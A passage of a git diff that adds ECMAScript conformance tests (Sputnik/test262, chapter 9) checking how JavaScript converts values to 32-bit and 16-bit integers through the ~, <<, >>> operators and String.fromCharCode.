+ } else {
+ $ERROR('#4.3: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; ~object not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+var object = {toString: function() {return 1}};
+if (~object !== ~1) {
+ $ERROR('#5: var object = {toString: function() {return 1}}; ~object === ~1');
+}
+
+//CHECK#6
+var object = {valueOf: function() {return {}}, toString: function() {return 1}}
+if (~object !== ~1) {
+ $ERROR('#6: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; ~object === ~1');
+}
+
+//CHECK#7
+try {
+ var object = {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ ~object;
+ $ERROR('#7.1: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; ~object throw "error". Actual: ' + (~object));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; ~object throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ var object = {valueOf: function() {return {}}, toString: function() {return {}}};
+ ~object;
+ $ERROR('#8.1: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; ~object throw TypeError. Actual: ' + (~object));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; ~object throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A3.2_T1.js b/js/src/tests/test262/ch09/9.5/S9.5_A3.2_T1.js
new file mode 100644
index 000000000..6a53855b4
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A3.2_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses floor, abs
+ *
+ * @path ch09/9.5/S9.5_A3.2_T1.js
+ * @description Use operator <<0
+ */
+
+// CHECK#1
+if ((1.2345 << 0) !== 1) {
+ $ERROR('#1: (1.2345 << 0) === 1. Actual: ' + ((1.2345 << 0)));
+}
+
+// CHECK#2
+if ((-5.4321 << 0) !== -5) {
+ $ERROR('#2: (-5.4321 << 0) === -5. Actual: ' + ((-5.4321 << 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/S9.5_A3.2_T2.js b/js/src/tests/test262/ch09/9.5/S9.5_A3.2_T2.js
new file mode 100644
index 000000000..47838f6a1
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/S9.5_A3.2_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses floor, abs
+ *
+ * @path ch09/9.5/S9.5_A3.2_T2.js
+ * @description Use operator ~
+ */
+
+// CHECK#1
+if (~1.2345 !== ~1) {
+ $ERROR('#1: ~1.2345 === ~1)');
+}
+
+// CHECK#2
+if (~-5.4321 !== ~-5) {
+ $ERROR('#2: ~-5.4321 === ~-5)');
+}
+
diff --git a/js/src/tests/test262/ch09/9.5/browser.js b/js/src/tests/test262/ch09/9.5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/browser.js
diff --git a/js/src/tests/test262/ch09/9.5/shell.js b/js/src/tests/test262/ch09/9.5/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.5/shell.js
diff --git a/js/src/tests/test262/ch09/9.6/S9.6_A1.js b/js/src/tests/test262/ch09/9.6/S9.6_A1.js
new file mode 100644
index 000000000..6e370541b
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.6/S9.6_A1.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If value is NaN, +0, -0, +Infinity, or -Infinity, return +0
+ *
+ * @path ch09/9.6/S9.6_A1.js
+ * @description For testing use operator >>>0
+ */
+
+// CHECK#1
+if ((Number.NaN >>> 0) !== +0) {
+ $ERROR('#1.1: (Number.NaN >>> 0) === 0. Actual: ' + ((Number.NaN >>> 0)));
+} else if (1/(Number.NaN >>> 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: (Number.NaN >>> 0) === +0. Actual: -0');
+}
+
+// CHECK#2
+if ((Number("abc") >>> 0) !== +0) {
+ $ERROR('#2.1: (Number("abc") >>> 0) === 0. Actual: ' + ((Number("abc") >>> 0)));
+} else if (1/(0 >>> 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: (0 >>> 0) === +0. Actual: -0');
+}
+
+// CHECK#3
+if ((0 >>> 0) !== +0) {
+ $ERROR('#3.1: (0 >>> 0) === 0. Actual: ' + ((0 >>> 0)));
+} else if (1/(0 >>> 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3.2: (0 >>> 0) === +0. Actual: -0');
+}
+
+// CHECK#4
+if ((-0 >>> 0) !== +0) {
+ $ERROR("#4.1: (-0 >>> 0) === 0");
+} else if (1/(-0 >>> 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR("#4.2: (-0 >>> 0) === +0. Actual: -0");
+}
+
+// CHECK#5
+if ((Number.POSITIVE_INFINITY >>> 0) !== +0) {
+ $ERROR('#5.1: (Number.POSITIVE_INFINITY >>> 0) === 0. Actual: ' + ((Number.POSITIVE_INFINITY >>> 0)));
+} else if (1/(Number.POSITIVE_INFINITY >>> 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#5.2: (Number.POSITIVE_INFINITY >>> 0) === +0. Actual: -0');
+}
+
+// CHECK#6
+if ((Number.NEGATIVE_INFINITY >>> 0) !== +0) {
+ $ERROR("#6.1: (Number.NEGATIVE_INFINITY >>> 0) === 0");
+} else if (1/(Number.NEGATIVE_INFINITY >>> 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR("#6.2: (Number.NEGATIVE_INFINITY >>> 0) === +0. Actual: -0");
+}
+
+
+
diff --git a/js/src/tests/test262/ch09/9.6/S9.6_A2.1.js b/js/src/tests/test262/ch09/9.6/S9.6_A2.1.js
new file mode 100644
index 000000000..cc2f38c85
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.6/S9.6_A2.1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToUint32 returns values between 0 and 2^32-1
+ *
+ * @path ch09/9.6/S9.6_A2.1.js
+ * @description Converting numbers, which are in\outside of Uint32 scopes, with >>>0 operator
+ */
+
+// CHECK#1
+if ((0 >>> 0) !== 0) {
+ $ERROR('#1: (0 >>> 0) === 0. Actual: ' + ((0 >>> 0)));
+}
+
+// CHECK#2
+if ((1 >>> 0) !== 1) {
+ $ERROR('#2: (1 >>> 0) === 1. Actual: ' + ((1 >>> 0)));
+}
+
+// CHECK#3
+if ((-1 >>> 0) !== 4294967295) {
+ $ERROR('#3: (-1 >>> 0) === 4294967295. Actual: ' + ((-1 >>> 0)));
+}
+
+// CHECK#4
+if ((4294967295 >>> 0) !== 4294967295) {
+ $ERROR('#4: (4294967295 >>> 0) === 4294967295. Actual: ' + ((4294967295 >>> 0)));
+}
+
+// CHECK#5
+if ((4294967294 >>> 0) !== 4294967294) {
+ $ERROR('#5: (4294967294 >>> 0) === 4294967294. Actual: ' + ((4294967294 >>> 0)));
+}
+
+// CHECK#6
+if ((4294967296 >>> 0) !== 0) {
+ $ERROR('#6: (4294967296 >>> 0) === 0. Actual: ' + ((4294967296 >>> 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.6/S9.6_A2.2.js b/js/src/tests/test262/ch09/9.6/S9.6_A2.2.js
new file mode 100644
index 000000000..7438cbe95
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.6/S9.6_A2.2.js
@@ -0,0 +1,70 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Compute result modulo 2^32
+ *
+ * @path ch09/9.6/S9.6_A2.2.js
+ * @description Use operator >>>0
+ */
+
+// CHECK#1
+if ((-2147483647 >>> 0) !== 2147483649) {
+ $ERROR('#1: (-2147483647 >>> 0) === 2147483649. Actual: ' + ((-2147483647 >>> 0)));
+}
+
+// CHECK#2
+if ((-2147483648 >>> 0) !== 2147483648) {
+ $ERROR('#2: (-2147483648 >>> 0) === 2147483648. Actual: ' + ((-2147483648 >>> 0)));
+}
+
+// CHECK#3
+if ((-2147483649 >>> 0) !== 2147483647) {
+ $ERROR('#3: (-2147483649 >>> 0) === 2147483647. Actual: ' + ((-2147483649 >>> 0)));
+}
+
+// CHECK#4
+if ((-4294967295 >>> 0) !== 1) {
+ $ERROR('#4: (-4294967295 >>> 0) === 1. Actual: ' + ((-4294967295 >>> 0)));
+}
+
+// CHECK#5
+if ((-4294967296 >>> 0) !== 0) {
+ $ERROR('#5: (-4294967296 >>> 0) === 0. Actual: ' + ((-4294967296 >>> 0)));
+}
+
+// CHECK#6
+if ((-4294967297 >>> 0) !== 4294967295) {
+ $ERROR('#6: (-4294967297 >>> 0) === 4294967295. Actual: ' + ((-4294967297 >>> 0)));
+}
+
+// CHECK#7
+if ((4294967295 >>> 0) !== 4294967295) {
+ $ERROR('#7: (4294967295 >>> 0) === 4294967295. Actual: ' + ((4294967295 >>> 0)));
+}
+
+// CHECK#8
+if ((4294967296 >>> 0) !== 0) {
+ $ERROR('#8: (4294967296 >>> 0) === 0. Actual: ' + ((4294967296 >>> 0)));
+}
+
+// CHECK#9
+if ((4294967297 >>> 0) !== 1) {
+ $ERROR('#9: (4294967297 >>> 0) === 1. Actual: ' + ((4294967297 >>> 0)));
+}
+
+// CHECK#10
+if ((8589934591 >>> 0) !== 4294967295) {
+ $ERROR('#10: (8589934591 >>> 0) === 4294967295. Actual: ' + ((8589934591 >>> 0)));
+}
+
+// CHECK#11
+if ((8589934592 >>> 0) !== 0) {
+ $ERROR('#11: (8589934592 >>> 0) === 0. Actual: ' + ((8589934592 >>> 0)));
+}
+
+// CHECK#12
+if ((8589934593 >>> 0) !== 1) {
+ $ERROR('#12: (8589934593 >>> 0) === 1. Actual: ' + ((8589934593 >>> 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T1.js b/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T1.js
new file mode 100644
index 000000000..d73f715b9
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.6/S9.6_A3.1_T1.js
+ * @description Type(x) is Boolean
+ */
+
+// CHECK#1
+if ((new Boolean(true) >>> 0) !== 1) {
+ $ERROR('#1: (new Boolean(true) >>> 0) === 1. Actual: ' + ((new Boolean(true) >>> 0)));
+}
+
+// CHECK#2
+if ((false >>> 0) !== 0) {
+ $ERROR('#2: (false >>> 0) === 0. Actual: ' + ((false >>> 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T2.js b/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T2.js
new file mode 100644
index 000000000..5e99b13b3
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.6/S9.6_A3.1_T2.js
+ * @description Type(x) is Number
+ */
+
+// CHECK#1
+if ((new Number(1) >>> 0) !== 1) {
+ $ERROR('#1: (new Number(1) >>> 0) === 1. Actual: ' + ((new Number(1) >>> 0)));
+}
+
+// CHECK#2
+if ((-1.234 >>> 0) !== 4294967295) {
+ $ERROR('#2: (-1.234 >>> 0) === 4294967295. Actual: ' + ((-1.234 >>> 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T3.js b/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T3.js
new file mode 100644
index 000000000..480ffd0cc
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T3.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.6/S9.6_A3.1_T3.js
+ * @description Type(x) is String
+ */
+
+// CHECK#1
+if ((new String(1) >>> 0) !== 1) {
+ $ERROR('#1: (new String(1) >>> 0) === 1. Actual: ' + ((new String(1) >>> 0)));
+}
+
+// CHECK#2
+if (("-1.234" >>> 0) !== 4294967295) {
+ $ERROR('#2: ("-1.234" >>> 0) === 4294967295. Actual: ' + (("-1.234" >>> 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T4.js b/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T4.js
new file mode 100644
index 000000000..65381fd0d
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.6/S9.6_A3.1_T4.js
@@ -0,0 +1,79 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.6/S9.6_A3.1_T4.js
+ * @description Type(x) is Object
+ */
+
+//CHECK#1
+var object = {valueOf: function() {return 1}};
+if ((object >>> 0) !== 1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; (object >>> 0) === 1. Actual: ' + ((object >>> 0)));
+}
+
+//CHECK#2
+var object = {valueOf: function() {return 1}, toString: function() {return 0}};
+if ((object >>> 0) !== 1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; (object >>> 0) === 1. Actual: ' + ((object >>> 0)));
+}
+
+//CHECK#3
+var object = {valueOf: function() {return 1}, toString: function() {return {}}};
+if ((object >>> 0) !== 1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; (object >>> 0) === 1. Actual: ' + ((object >>> 0)));
+}
+
+//CHECK#4
+try {
+ var object = {valueOf: function() {return 1}, toString: function() {throw "error"}};
+ if ((object >>> 0) !== 1) {
+ $ERROR('#4.1: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; (object >>> 0) === 1. Actual: ' + ((object >>> 0)));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; object not throw "error"');
+ } else {
+ $ERROR('#4.3: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; object not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+var object = {toString: function() {return 1}};
+if ((object >>> 0) !== 1) {
+ $ERROR('#5: var object = {toString: function() {return 1}}; (object >>> 0) === 1. Actual: ' + ((object >>> 0)));
+}
+
+//CHECK#6
+var object = {valueOf: function() {return {}}, toString: function() {return 1}}
+if ((object >>> 0) !== 1) {
+ $ERROR('#6: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; (object >>> 0) === 1. Actual: ' + ((object >>> 0)));
+}
+
+//CHECK#7
+try {
+ var object = {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ object >>> 0;
+ $ERROR('#7.1: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; object throw "error". Actual: ' + (object >>> 0));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; object throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ var object = {valueOf: function() {return {}}, toString: function() {return {}}};
+ object >>> 0;
+ $ERROR('#8.1: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; object throw TypeError. Actual: ' + (object >>> 0));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; object throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch09/9.6/S9.6_A3.2_T1.js b/js/src/tests/test262/ch09/9.6/S9.6_A3.2_T1.js
new file mode 100644
index 000000000..87d0b2a84
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.6/S9.6_A3.2_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses floor, abs
+ *
+ * @path ch09/9.6/S9.6_A3.2_T1.js
+ * @description Use operator >>>0
+ */
+
+// CHECK#1
+if ((1.2345 >>> 0) !== 1) {
+ $ERROR('#1: (1.2345 >>> 0) === 1. Actual: ' + ((1.2345 >>> 0)));
+}
+
+// CHECK#2
+if ((-5.4321 >>> 0) !== 4294967291) {
+ $ERROR('#2: (-5.4321 >>> 0) === 4294967291. Actual: ' + ((-5.4321 >>> 0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.6/browser.js b/js/src/tests/test262/ch09/9.6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.6/browser.js
diff --git a/js/src/tests/test262/ch09/9.6/shell.js b/js/src/tests/test262/ch09/9.6/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.6/shell.js
diff --git a/js/src/tests/test262/ch09/9.7/S9.7_A1.js b/js/src/tests/test262/ch09/9.7/S9.7_A1.js
new file mode 100644
index 000000000..443711768
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.7/S9.7_A1.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If value is NaN, +0, -0, +Infinity, or -Infinity, return +0
+ *
+ * @path ch09/9.7/S9.7_A1.js
+ * @description For testing use String.fromCharCode(Number).charCodeAt(0) construction
+ */
+
+// CHECK#1
+if (String.fromCharCode(Number.NaN).charCodeAt(0) !== +0) {
+ $ERROR('#1.1: String.fromCharCode(Number.NaN).charCodeAt(0) === 0. Actual: ' + (String.fromCharCode(Number.NaN).charCodeAt(0)));
+} else if (1/String.fromCharCode(Number.NaN).charCodeAt(0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: String.fromCharCode(Number.NaN).charCodeAt(0) === +0. Actual: -0');
+}
+
+// CHECK#2
+if (String.fromCharCode(Number("abc")).charCodeAt(0) !== +0) {
+ $ERROR('#2.1: String.fromCharCode(Number("abc")).charCodeAt(0) === 0. Actual: ' + (String.fromCharCode(Number("abc")).charCodeAt(0)));
+} else if (1/String.fromCharCode(0).charCodeAt(0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: String.fromCharCode(0).charCodeAt(0) === +0. Actual: -0');
+}
+
+// CHECK#3
+if (String.fromCharCode(0).charCodeAt(0) !== +0) {
+ $ERROR('#3.1: String.fromCharCode(0).charCodeAt(0) === 0. Actual: ' + (String.fromCharCode(0).charCodeAt(0)));
+} else if (1/String.fromCharCode(0).charCodeAt(0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3.2: String.fromCharCode(0).charCodeAt(0) === +0. Actual: -0');
+}
+
+// CHECK#4
+if (String.fromCharCode(-0).charCodeAt(0) !== +0) {
+ $ERROR("#4.1: String.fromCharCode(-0).charCodeAt(0) === +0");
+} else if (1/String.fromCharCode(-0).charCodeAt(0) !== Number.POSITIVE_INFINITY) {
+ $ERROR("#4.2: String.fromCharCode(-0).charCodeAt(0) === +0. Actual: -0");
+}
+
+// CHECK#5
+if (String.fromCharCode(Number.POSITIVE_INFINITY).charCodeAt(0) !== +0) {
+ $ERROR('#5.1: String.fromCharCode(Number.POSITIVE_INFINITY).charCodeAt(0) === 0. Actual: ' + (String.fromCharCode(Number.POSITIVE_INFINITY).charCodeAt(0)));
+} else if (1/String.fromCharCode(Number.POSITIVE_INFINITY).charCodeAt(0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#5.2: String.fromCharCode(Number.POSITIVE_INFINITY).charCodeAt(0) === +0. Actual: -0');
+}
+
+// CHECK#6
+if (String.fromCharCode(Number.NEGATIVE_INFINITY).charCodeAt(0) !== +0) {
+ $ERROR("#6.1: String.fromCharCode(Number.NEGATIVE_INFINITY).charCodeAt(0) === +0");
+} else if (1/String.fromCharCode(Number.NEGATIVE_INFINITY).charCodeAt(0) !== Number.POSITIVE_INFINITY) {
+ $ERROR("#6.2: String.fromCharCode(Number.NEGATIVE_INFINITY).charCodeAt(0) === +0. Actual: -0");
+}
+
+
+
diff --git a/js/src/tests/test262/ch09/9.7/S9.7_A2.1.js b/js/src/tests/test262/ch09/9.7/S9.7_A2.1.js
new file mode 100644
index 000000000..5073f9c87
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.7/S9.7_A2.1.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToUint16 returns values between 0 and 2^16-1
+ *
+ * @path ch09/9.7/S9.7_A2.1.js
+ * @description Converting numbers, which are in\outside of Uint16 scopes, with String.fromCharCode(Number).charCodeAt(0) construction
+ */
+
+// CHECK#1
+if (String.fromCharCode(0).charCodeAt(0) !== 0) {
+ $ERROR('#1: String.fromCharCode(0).charCodeAt(0) === 0. Actual: ' + (String.fromCharCode(0).charCodeAt(0)));
+}
+
+// CHECK#2
+if (String.fromCharCode(1).charCodeAt(0) !== 1) {
+ $ERROR('#2: String.fromCharCode(1).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(1).charCodeAt(0)));
+}
+
+// CHECK#3
+if (String.fromCharCode(-1).charCodeAt(0) !== 65535) {
+ $ERROR('#3: String.fromCharCode(-1).charCodeAt(0) === 65535. Actual: ' + (String.fromCharCode(-1).charCodeAt(0)));
+}
+
+// CHECK#4
+if (String.fromCharCode(65535).charCodeAt(0) !== 65535) {
+ $ERROR('#4: String.fromCharCode(65535).charCodeAt(0) === 65535. Actual: ' + (String.fromCharCode(65535).charCodeAt(0)));
+}
+
+// CHECK#5
+if (String.fromCharCode(65534).charCodeAt(0) !== 65534) {
+ $ERROR('#5: String.fromCharCode(65534).charCodeAt(0) === 65534. Actual: ' + (String.fromCharCode(65534).charCodeAt(0)));
+}
+
+// CHECK#6
+if (String.fromCharCode(65536).charCodeAt(0) !== 0) {
+ $ERROR('#6: String.fromCharCode(65536).charCodeAt(0) === 0. Actual: ' + (String.fromCharCode(65536).charCodeAt(0)));
+}
+
+// CHECK#7
+if (String.fromCharCode(4294967295).charCodeAt(0) !== 65535) {
+ $ERROR('#7: String.fromCharCode(4294967295).charCodeAt(0) === 65535. Actual: ' + (String.fromCharCode(4294967295).charCodeAt(0)));
+}
+
+// CHECK#8
+if (String.fromCharCode(4294967294).charCodeAt(0) !== 65534) {
+ $ERROR('#8: String.fromCharCode(4294967294).charCodeAt(0) === 65534. Actual: ' + (String.fromCharCode(4294967294).charCodeAt(0)));
+}
+
+// CHECK#9
+if (String.fromCharCode(4294967296).charCodeAt(0) !== 0) {
+ $ERROR('#9: String.fromCharCode(4294967296).charCodeAt(0) === 0. Actual: ' + (String.fromCharCode(4294967296).charCodeAt(0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.7/S9.7_A2.2.js b/js/src/tests/test262/ch09/9.7/S9.7_A2.2.js
new file mode 100644
index 000000000..d631bd912
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.7/S9.7_A2.2.js
@@ -0,0 +1,70 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Compute result modulo 2^16
+ *
+ * @path ch09/9.7/S9.7_A2.2.js
+ * @description For testing use String.fromCharCode(Number).charCodeAt(0) construction
+ */
+
+// CHECK#1
+if (String.fromCharCode(-32767).charCodeAt(0) !== 32769) {
+ $ERROR('#1: String.fromCharCode(-32767).charCodeAt(0) === 32769. Actual: ' + (String.fromCharCode(-32767).charCodeAt(0)));
+}
+
+// CHECK#2
+if (String.fromCharCode(-32768).charCodeAt(0) !== 32768) {
+ $ERROR('#2: String.fromCharCode(-32768).charCodeAt(0) === 32768. Actual: ' + (String.fromCharCode(-32768).charCodeAt(0)));
+}
+
+// CHECK#3
+if (String.fromCharCode(-32769).charCodeAt(0) !== 32767) {
+ $ERROR('#3: String.fromCharCode(-32769).charCodeAt(0) === 32767. Actual: ' + (String.fromCharCode(-32769).charCodeAt(0)));
+}
+
+// CHECK#4
+if (String.fromCharCode(-65535).charCodeAt(0) !== 1) {
+ $ERROR('#4: String.fromCharCode(-65535).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(-65535).charCodeAt(0)));
+}
+
+// CHECK#5
+if (String.fromCharCode(-65536).charCodeAt(0) !== 0) {
+ $ERROR('#5: String.fromCharCode(-65536).charCodeAt(0) === 0. Actual: ' + (String.fromCharCode(-65536).charCodeAt(0)));
+}
+
+// CHECK#6
+if (String.fromCharCode(-65537).charCodeAt(0) !== 65535) {
+ $ERROR('#6: String.fromCharCode(-65537).charCodeAt(0) === 65535. Actual: ' + (String.fromCharCode(-65537).charCodeAt(0)));
+}
+
+// CHECK#7
+if (String.fromCharCode(65535).charCodeAt(0) !== 65535) {
+ $ERROR('#7: String.fromCharCode(65535).charCodeAt(0) === 65535. Actual: ' + (String.fromCharCode(65535).charCodeAt(0)));
+}
+
+// CHECK#8
+if (String.fromCharCode(65536).charCodeAt(0) !== 0) {
+ $ERROR('#8: String.fromCharCode(65536).charCodeAt(0) === 0. Actual: ' + (String.fromCharCode(65536).charCodeAt(0)));
+}
+
+// CHECK#9
+if (String.fromCharCode(65537).charCodeAt(0) !== 1) {
+ $ERROR('#9: String.fromCharCode(65537).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(65537).charCodeAt(0)));
+}
+
+// CHECK#10
+if (String.fromCharCode(131071).charCodeAt(0) !== 65535) {
+ $ERROR('#10: String.fromCharCode(131071).charCodeAt(0) === 65535. Actual: ' + (String.fromCharCode(131071).charCodeAt(0)));
+}
+
+// CHECK#11
+if (String.fromCharCode(131072).charCodeAt(0) !== 0) {
+ $ERROR('#11: String.fromCharCode(131072).charCodeAt(0) === 0. Actual: ' + (String.fromCharCode(131072).charCodeAt(0)));
+}
+
+// CHECK#12
+if (String.fromCharCode(131073).charCodeAt(0) !== 1) {
+ $ERROR('#12: String.fromCharCode(131073).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(131073).charCodeAt(0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T1.js b/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T1.js
new file mode 100644
index 000000000..315b133d2
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.7/S9.7_A3.1_T1.js
+ * @description Type(x) is Boolean
+ */
+
+// CHECK#1
+if (String.fromCharCode(new Boolean(true)).charCodeAt(0) !== 1) {
+ $ERROR('#1: String.fromCharCode(new Boolean(true)).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(new Boolean(true)).charCodeAt(0)));
+}
+
+// CHECK#2
+if (String.fromCharCode(false).charCodeAt(0) !== 0) {
+ $ERROR('#2: String.fromCharCode(false).charCodeAt(0) === 0. Actual: ' + (String.fromCharCode(false).charCodeAt(0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T2.js b/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T2.js
new file mode 100644
index 000000000..613229333
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.7/S9.7_A3.1_T2.js
+ * @description Type(x) is Number
+ */
+
+// CHECK#1
+if (String.fromCharCode(new Number(1)).charCodeAt(0) !== 1) {
+ $ERROR('#1: String.fromCharCode(new Number(1)).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(new Number(1)).charCodeAt(0)));
+}
+
+// CHECK#2
+if (String.fromCharCode(-1.234).charCodeAt(0) !== 65535) {
+ $ERROR('#2: String.fromCharCode(-1.234).charCodeAt(0) === 65535. Actual: ' + (String.fromCharCode(-1.234).charCodeAt(0)));
+}
+
diff --git a/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T3.js b/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T3.js
new file mode 100644
index 000000000..ff66475ca
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.7/S9.7_A3.1_T3.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses ToNumber
+ *
+ * @path ch09/9.7/S9.7_A3.1_T3.js
+ * @description Type(x) is String
+ */
+
+// CHECK#1
+if (String.fromCharCode(new String(1)).charCodeAt(0) !== 1) {
+ $ERROR('#1: String.fromCharCode(new String(1)).charCodeAt(0) === 1. Actual: ' + (String.fromCharCode(new String(1)).charCodeAt(0)));
+}
+
+// CHECK#2
+if (String.fromCharCode("-1.234").charCodeAt(0) !== 65535) {
